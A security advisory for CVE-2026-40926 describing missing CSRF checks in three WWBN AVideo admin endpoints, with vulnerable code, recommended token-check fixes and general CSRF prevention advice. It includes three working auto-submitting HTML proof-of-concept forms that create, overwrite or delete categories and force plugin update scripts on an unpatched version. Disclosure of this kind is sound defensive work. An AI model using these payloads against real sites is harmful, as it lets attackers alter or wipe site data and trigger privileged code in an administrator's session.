GHSA-ffw8-fwxp-h64w CVE-2026-40926
WWBN AVideo has Multiple CSRF Vulnerabilities in Admin JSON Endpoints (Category CRUD, Plugin Update Script)
- Severity
- 7.1 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.17%
- Chance of exploitation in the next 30 days. Higher than 5.85% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-352 Cross-Site Request Forgery (CSRF)
- Fix
- None yet
- No fixed version published
Description
Summary
Three admin-only JSON endpoints — objects/categoryAddNew.json.php, objects/categoryDelete.json.php, and objects/pluginRunUpdateScript.json.php — enforce only a role check (Category::canCreateCategory() / User::isAdmin()) and perform state-changing actions against the database without calling isGlobalTokenValid() or forbidIfIsUntrustedRequest(). Peer endpoints in the same directory (pluginSwitch.json.php, pluginRunDatabaseScript.json.php) do enforce the CSRF token, so the missing checks are an omission rather than a design choice. An attacker who lures a logged-in admin to a malicious page can create, update, or delete categories and force execution of any installed plugin's updateScript() method in the admin's session.
Details
AVideo's CSRF defense is not applied globally — each endpoint must explicitly call isGlobalTokenValid() (defined in objects/functions.php:2313), which verifies $_REQUEST['globalToken']. A search across the codebase shows 18 files that correctly invoke forbidIfIsUntrustedRequest() or isGlobalTokenValid(), while the three endpoints below do not.
1. objects/categoryAddNew.json.php:18 — CSRF create/overwrite category
18 if (!Category::canCreateCategory()) {
19 $obj->msg = __("Permission denied");
20 die(json_encode($obj));
21 }
22
23 $objCat = new Category(intval(@$_POST['id']));
24 $objCat->setName($_POST['name']);
25 $objCat->setClean_name($_POST['clean_name']);
26 $objCat->setDescription($_POST['description']);
27 $objCat->setIconClass($_POST['iconClass']);
28 $objCat->setSuggested($_POST['suggested']);
29 $objCat->setParentId($_POST['parentId']);
30 $objCat->setPrivate($_POST['private']);
31 $objCat->setAllow_download($_POST['allow_download']);
32 $objCat->setOrder($_POST['order']);
33 $obj->categories_id = $objCat->save();
Category::canCreateCategory() (objects/category.php:620-630) returns true for any admin. Because the row is loaded via new Category(intval(@$_POST['id'])), a non-zero id causes the existing row to be overwritten, not just created — the same primitive can mutate existing categories. No CSRF/Origin check precedes the write.
2. objects/categoryDelete.json.php:10 — CSRF delete category
10 if (!Category::canCreateCategory()) {
11 die('{"error":"' . __("Permission denied") . '"}');
12 }
13 require_once 'category.php';
14 $obj = new Category($_POST['id']);
15 $response = $obj->delete();
No token check. An attacker can force an admin browser to POST any id, deleting rows from categories.
3. objects/pluginRunUpdateScript.json.php:9 — CSRF forced plugin update
9 if (!User::isAdmin()) {
10 forbiddenPage('Permission denied');
11 }
12 if (empty($_POST['name'])) {
13 forbiddenPage('Name can\'t be blank');
14 }
15 ini_set('max_execution_time', 300);
16 require_once $global['systemRootPath'] . 'plugin/AVideoPlugin.php';
17
18 if($_POST['uuid'] == 'plist12345-370-4b1f-977a-fd0e5cabtube'){
19 $_POST['name'] = 'PlayLists';
20 }
21
22 $obj = new stdClass();
23 $obj->error = !AVideoPlugin::updatePlugin($_POST['name']);
AVideoPlugin::updatePlugin() (plugin/AVideoPlugin.php:1452) looks up the plugin by name and, if it defines an updateScript() method, invokes it and then records the new plugin version via Plugin::setCurrentVersionByUuid. No CSRF or Origin check precedes this. By contrast, the sibling endpoint objects/pluginRunDatabaseScript.json.php:16 does call isGlobalTokenValid(), and objects/pluginSwitch.json.php:12 also calls it — confirming this file is an omission.
Why no global mitigation blocks this
isGlobalTokenValid()is not invoked fromobjects/configuration.phpor any other bootstrap; it must be called per-endpoint.isUntrustedRequest()(objects/functionsSecurity.php:146) is only triggered via an explicit call toforbidIfIsUntrustedRequest(); none of the three endpoints call it.- The handlers use
$_POSTdirectly without any framework-level CSRF middleware (AVideo does not use one). Category::canCreateCategory()is purely a role check and does not examine request origin or tokens.
PoC
All three require the victim to be a logged-in AVideo administrator who visits the attacker-hosted page. Cookies are sent automatically by the browser.
PoC 1 — Create/overwrite category
<!-- evil-create.html -->
<html><body>
<form id=f action="https://victim.example.com/objects/categoryAddNew.json.php" method="POST">
<input name="id" value="0"> <!-- 0 = create; any existing id = overwrite -->
<input name="name" value="Owned">
<input name="clean_name" value="owned">
<input name="description" value="pwn">
<input name="iconClass" value="fas fa-skull">
<input name="suggested" value="1">
<input name="parentId" value="0">
<input name="private" value="0">
<input name="allow_download" value="1">
<input name="order" value="1">
</form>
<script>document.getElementById('f').submit();</script>
</body></html>
Expected: a new row appears in the categories table, returned as {"error":false,"categories_id":<n>,...}. Changing id=0 to an existing category id overwrites that row's fields.
PoC 2 — Delete category
<!-- evil-delete.html -->
<html><body>
<form id=f action="https://victim.example.com/objects/categoryDelete.json.php" method="POST">
<input name="id" value="2">
</form>
<script>document.getElementById('f').submit();</script>
</body></html>
Multiple hidden iframes with different id values can walk the category id space and wipe the category tree.
PoC 3 — Force plugin updateScript()
<!-- evil-plugin-update.html -->
<html><body>
<form id=f action="https://victim.example.com/objects/pluginRunUpdateScript.json.php" method="POST">
<input name="name" value="Live">
<input name="uuid" value="anything">
</form>
<script>document.getElementById('f').submit();</script>
</body></html>
Expected: server logs AVideoPlugin::updatePlugin name=(Live) uuid=(...) and the plugin's updateScript() runs in the admin's session, with execution time extended to 300s.
Impact
- Integrity: An attacker can silently cause the admin's browser to create, mutate, or delete rows in the
categoriestable. Overwrite is especially damaging because field-level state (parent, privacy, allow_download, clean_name, iconClass) is changed without any UI feedback to the admin. Combined with any view that rendersdescriptionwithout escaping, this becomes a vector for stored XSS propagation. - Availability (partial):
categoryDelete.json.phpis a pure destructive primitive that allows category rows to be removed one by one by iterating ids; there is no recovery flow. - Privileged code execution trigger:
pluginRunUpdateScript.json.phplets the attacker force execution of any installed plugin'supdateScript()method (with a 5-minute execution window) in the admin's context. When chained with other primitives that influence plugin state or the plugin's own update logic, this is a foothold for deeper compromise. - Blast radius: Each vulnerable endpoint requires only a single admin visit to any attacker-controlled page (XSS on a third-party site, a phishing link, a forum post with an auto-submitting form). No interaction beyond loading the page is required.
Recommended Fix
Add an explicit CSRF token check (and ideally an Origin check) to each endpoint, matching the pattern already used by pluginSwitch.json.php and pluginRunDatabaseScript.json.php.
// objects/categoryAddNew.json.php (after line 18)
if (!Category::canCreateCategory()) {
$obj->msg = __("Permission denied");
die(json_encode($obj));
}
if (!isGlobalTokenValid()) {
http_response_code(403);
die('{"error":"' . __('Invalid token') . '"}');
}
forbidIfIsUntrustedRequest();
// objects/categoryDelete.json.php (after line 12)
if (!Category::canCreateCategory()) {
die('{"error":"' . __("Permission denied") . '"}');
}
if (!isGlobalTokenValid()) {
http_response_code(403);
die('{"error":"' . __('Invalid token') . '"}');
}
forbidIfIsUntrustedRequest();
// objects/pluginRunUpdateScript.json.php (after line 11)
if (!User::isAdmin()) {
forbiddenPage('Permission denied');
}
if (!isGlobalTokenValid()) {
http_response_code(403);
die('{"error":"' . __('Invalid token') . '"}');
}
forbidIfIsUntrustedRequest();
The long-term fix is to apply forbidIfIsUntrustedRequest() to every state-changing JSON endpoint via a shared include (e.g., a mandatory bootstrap file loaded by all *.json.php endpoints), so that future handlers cannot forget the check.
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| wwbn/avideo | <= 29.0 |
No fix yet |
How to fix
No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.
Severity breakdown
CVSS 3.1 7.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- Required
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- High
- Availability
- Low
Weakness
CWE-352: Cross-Site Request Forgery (CSRF)
The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.
How to prevent it
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330] Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]
- Implementation: Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.
- Architecture and Design: Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]
- Architecture and Design: Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
- Architecture and Design: Use the "double-submitted cookie" method as described by Felten and Zeller: When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same. Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult. This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]
- Architecture and Design: Do not use the GET method for any request that triggers a state change.
- Implementation: Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-7cqp-7cfv-6c3q AVideo Meet plugin: anonymous-to-admin stored XSS via unescaped participant User-Agent in getMeetInfo.json.php Participants panel | Medium | Also affects wwbn/avideo |
| GHSA-wc3f-xc32-435f AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink | High | Also affects wwbn/avideo |
| GHSA-95jh-7r58-xmxw AVideo has an Authorize.Net Webhook Signature Bypass that Enables Wallet Balance Inflation via Forged Payment Data | Medium | Also affects wwbn/avideo |
| GHSA-wf69-r4mx-43rr AVideo Vulnerable to Unauthenticated .env File Exposure via Official Docker Compose Configuration | High | Also affects wwbn/avideo |
| GHSA-8j8m-p79x-g4jm AVideo's Privilege Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions | Medium | Also affects wwbn/avideo |
| GHSA-8whc-2wmv-ww35 WWBN AVideo: Unauthenticated Stored DOM Cross-Site Scripting via Per-Client Metadata Broadcast in YPTSocket Plugin | Critical | Also affects WWBN/AVideo |
| GHSA-66q5-cj5g-wrfx WWBN AVideo: Stored XSS via Hostile YouTube Video Title in AVideo YouTubeAPI Gallery Section | Medium | Also affects WWBN/AVideo |
| GHSA-hgjh-6wj8-gcgf WWBN AVideo: Unauthenticated Reflected XSS via $_GET['search'] in AVideo YouTubeAPI Gallery Pagination | Medium | Also affects WWBN/AVideo |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor